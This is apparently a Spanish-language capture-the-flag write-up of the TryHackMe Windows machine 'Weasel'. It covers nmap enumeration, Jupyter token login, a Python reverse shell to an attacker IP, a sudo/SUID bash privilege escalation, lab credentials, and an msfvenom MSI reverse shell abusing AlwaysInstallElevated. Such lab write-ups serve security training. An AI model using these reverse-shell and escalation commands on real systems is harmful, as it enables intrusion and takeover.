Weasel

Weasel
Sistema operativo Dificultad Fecha de Lanzamiento Creador
Windows Medium 19 Mayo 2023 tryhackme & huskyhacks

Reconocimiento

Lanzamos una traza ICMP a la máquina objetivo para comprobar que tengamos conectividad.

weasel

Enumeración inicial

Realizamos un escaneo con nmap para descubrir que puertos TCP se encuentran abiertos en la máquina víctima.

nmap -sS -p- --open -Pn -n --min-rate 5000 -oG openPorts -vvv 10.10.93.174
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-03-27 11:12 -03
Initiating SYN Stealth Scan at 11:12
Scanning 10.10.93.174 [65535 ports]
Discovered open port 22/tcp on 10.10.93.174
Discovered open port 445/tcp on 10.10.93.174
Discovered open port 3389/tcp on 10.10.93.174
Discovered open port 135/tcp on 10.10.93.174
Discovered open port 139/tcp on 10.10.93.174
Discovered open port 8888/tcp on 10.10.93.174
Discovered open port 5985/tcp on 10.10.93.174
Discovered open port 49672/tcp on 10.10.93.174
Discovered open port 47001/tcp on 10.10.93.174
Discovered open port 49664/tcp on 10.10.93.174
Discovered open port 49669/tcp on 10.10.93.174
Discovered open port 49667/tcp on 10.10.93.174
Discovered open port 49668/tcp on 10.10.93.174
Discovered open port 49670/tcp on 10.10.93.174
Discovered open port 49665/tcp on 10.10.93.174
Completed SYN Stealth Scan at 11:13, 19.50s elapsed (65535 total ports)
Nmap scan report for 10.10.93.174
Host is up, received user-set (0.23s latency).
Scanned at 2025-03-27 11:12:55 -03 for 20s
Not shown: 65376 closed tcp ports (reset), 144 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT      STATE SERVICE        REASON
22/tcp    open  ssh            syn-ack ttl 127
135/tcp   open  msrpc          syn-ack ttl 127
139/tcp   open  netbios-ssn    syn-ack ttl 127
445/tcp   open  microsoft-ds   syn-ack ttl 127
3389/tcp  open  ms-wbt-server  syn-ack ttl 127
5985/tcp  open  wsman          syn-ack ttl 127
8888/tcp  open  sun-answerbook syn-ack ttl 127
47001/tcp open  winrm          syn-ack ttl 127
49664/tcp open  unknown        syn-ack ttl 127
49665/tcp open  unknown        syn-ack ttl 127
49667/tcp open  unknown        syn-ack ttl 127
49668/tcp open  unknown        syn-ack ttl 127
49669/tcp open  unknown        syn-ack ttl 127
49670/tcp open  unknown        syn-ack ttl 127
49672/tcp open  unknown        syn-ack ttl 127

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 19.73 seconds
           Raw packets sent: 93235 (4.102MB) | Rcvd: 70065 (2.803MB)

Lanzamos una serie de script básicos de enumeración propios de nmap, para conocer la versión y servicio que esta corriendo bajo los puertos.

nmap -sCV -p22,135,139,445,3389,5985,8888,47001,49664,49665,49667,49668,49669,49670,49672 -oN servicesScan 10.10.93.174
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-03-27 11:13 -03
Nmap scan report for 10.10.93.174 (10.10.93.174)
Host is up (0.33s latency).

PORT      STATE SERVICE       VERSION
22/tcp    open  ssh           OpenSSH for_Windows_7.7 (protocol 2.0)
| ssh-hostkey: 
|   2048 2b:17:d8:8a:1e:8c:99:bc:5b:f5:3d:0a:5e:ff:5e:5e (RSA)
|   256 3c:c0:fd:b5:c1:57:ab:75:ac:81:10:ae:e2:98:12:0d (ECDSA)
|_  256 e9:f0:30:be:e6:cf:ef:fe:2d:14:21:a0:ac:45:7b:70 (ED25519)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds?
3389/tcp  open  ms-wbt-server Microsoft Terminal Services
|_ssl-date: 2025-03-27T14:16:54+00:00; +2m07s from scanner time.
| rdp-ntlm-info: 
|   Target_Name: DEV-DATASCI-JUP
|   NetBIOS_Domain_Name: DEV-DATASCI-JUP
|   NetBIOS_Computer_Name: DEV-DATASCI-JUP
|   DNS_Domain_Name: DEV-DATASCI-JUP
|   DNS_Computer_Name: DEV-DATASCI-JUP
|   Product_Version: 10.0.17763
|_  System_Time: 2025-03-27T14:16:47+00:00
| ssl-cert: Subject: commonName=DEV-DATASCI-JUP
| Not valid before: 2025-03-26T14:00:55
|_Not valid after:  2025-09-25T14:00:55
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
8888/tcp  open  http          Tornado httpd 6.0.3
| http-robots.txt: 1 disallowed entry 
|_/ 
| http-title: Jupyter Notebook
|_Requested resource was /login?next=%2Ftree%3F
|_http-server-header: TornadoServer/6.0.3
47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open  msrpc         Microsoft Windows RPC
49665/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49668/tcp open  msrpc         Microsoft Windows RPC
49669/tcp open  msrpc         Microsoft Windows RPC
49670/tcp open  msrpc         Microsoft Windows RPC
49672/tcp open  msrpc         Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 2m07s, deviation: 0s, median: 2m06s
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2025-03-27T14:16:45
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 71.44 seconds

Explotación inicial

HTTP(8888) - Jupyter Notebook

Jupyter Notebook es una ==aplicación web que permite crear y compartir documentos que contienen código, texto, ecuaciones, y visualizaciones==. Es una herramienta de código abierto que se usa para: 

  • Desarrollar, documentar, y presentar proyectos
  • Visualizar datos en ciencia de datos y big data
  • Realizar simulaciones numéricas
  • Preparar y exponer datos

Jupyter Notebook es muy popular entre científicos de datos, analistas, y desarrolladores

weasel

Samba (445)

Listamos recursos compartidos

weasel

weasel

weasel

Utilizamos el token para iniciar sesión.

067470c5ddsadc54153ghfjd817d15b5d5f5341e56b0dsad78a

weasel

weasel

weasel

import socket,os,pty;s=socket.socket();s.connect(("10.9.2.3", 4444));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("bash")

Nos ponemos en escucha con Netcat

rlwrap nc -lnvp 4444

Ejecutamos el código.

weasel

weasel

Escalamos privilegios

echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash'> /home/dev-datasci/.local/bin/jupyter
chmod +x /home/dev-datasci/.local/bin/jupyter
sudo /home/dev-datasci/.local/bin/jupyter
cd /tmp
./bash -p

Elevación de privilegios

Obtenemos del home del usuario dev-datasci su clave ssh.

ssh -i weasel_id_ssh dev-datasci-lowpriv@10.10.93.174

weasel

weasel

dev-datasci-lowpriv:wUqnKWqzha*W!PWrPRWi!M8faUn

AlwaysInstallElevated

La política Always Install Elevated es una configuración en Windows que permite a los usuarios estándar instalar aplicaciones con privilegios elevados. Cuando esta política está habilitada, cualquier instalación de aplicación iniciada por un usuario estándar se ejecuta con derechos administrativos, evitando así las solicitudes de Control de Cuentas de Usuario (UAC).

reg query HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Installer

weasel

Creamos un payload con msfvenom.

msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.9.2.3 LPORT=443 -a x64 --platform Windows -f msi -o shell.msi

Lo transferimos a la máquina víctima.

Nos ponemos en escucha con NetCat por el puerto 443.

rlwrap nc -lnvp 443

Ejecutamos el siguiente comando:

runas /user:dev-datasci-lowpriv "cmd /c msiexec /i C:\Users\dev-datasci-lowpriv\Desktop\shell.msi /quiet /qn /norestart"

weasel

Post Explotación

Leemos la flag de root.txt.

weasel